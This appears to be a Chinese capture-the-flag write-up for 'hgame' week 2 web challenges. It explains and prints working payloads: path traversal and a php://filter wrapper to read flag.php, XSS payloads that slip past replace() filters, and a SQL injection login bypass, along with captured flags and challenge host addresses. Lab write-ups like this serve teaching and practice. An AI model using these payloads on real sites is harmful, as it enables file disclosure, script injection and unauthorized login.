week2_wp

##草莓社区-1

题目考点已经给了，首先点击超链接查看猫片-1，然后可以看到*http://118.25.18.223:10011/show_maopian.php?mao=1.jpg*，那么我们尝试来开始构造我们的payload:*http://118.25.18.223:10011/show_maopian.php?mao=../flag.php*，最后我们可以发现图片显示不出来了，然后最蛋疼的是很多人这一步都会但是就是找不到响应的flag。PS:一个所有浏览器基本通用的方法：把那张不能显示的图片另存为，然后打开就能获得了。

最后我们得到flag：**hgame{#Ma0_pi4n_haO_k4n_ma#}**

##草莓社区-2

依照上面一题的方式，我们发现，我们在这题中并不能通过../flag.php直接获得flag.php中的内容，这是因为在这一题中使用的include函数在加载../flag.php会解析flag.php文件导致不能显示flag.php的内容。这时候我们就得通过PHP伪协议，**php://filter。**

这样我们就可以构造我们的payload了*http://118.25.18.223:10012/show_maopian.php?mao=php://filter/read=convert.base64-encode/resource=../flag.php*

得到flag:hgame{!m4o_pi4n_ChaO_hao_kan!}

##xss-1

根据replace，可以发现"script"，"imge"会被替换成'_'，所以首先排除掉使用script标签和使用type="imge"的标签，所以我们可以直接使用<img>标签的onerror触发js，然后我们replace中也会替换掉"("，但是由于只替换一次。构造出payload:

```
<img src=1 onerror=alert`1`>
```

##xss-2

replace比上一题要多了更多，但是绕过方式依旧有很多，最直接的方式就是用html编码实体来绕过replace的正则匹配，其他的解决方案就是'"'和'>'只会匹配一次，所以可以构造payload:

```
">><video src=1 onerror=alert`1`>
```

##最简单的sql题

题目非常简单，什么过滤都没有，所以使用账号：**' 1=1 --+** 密码任意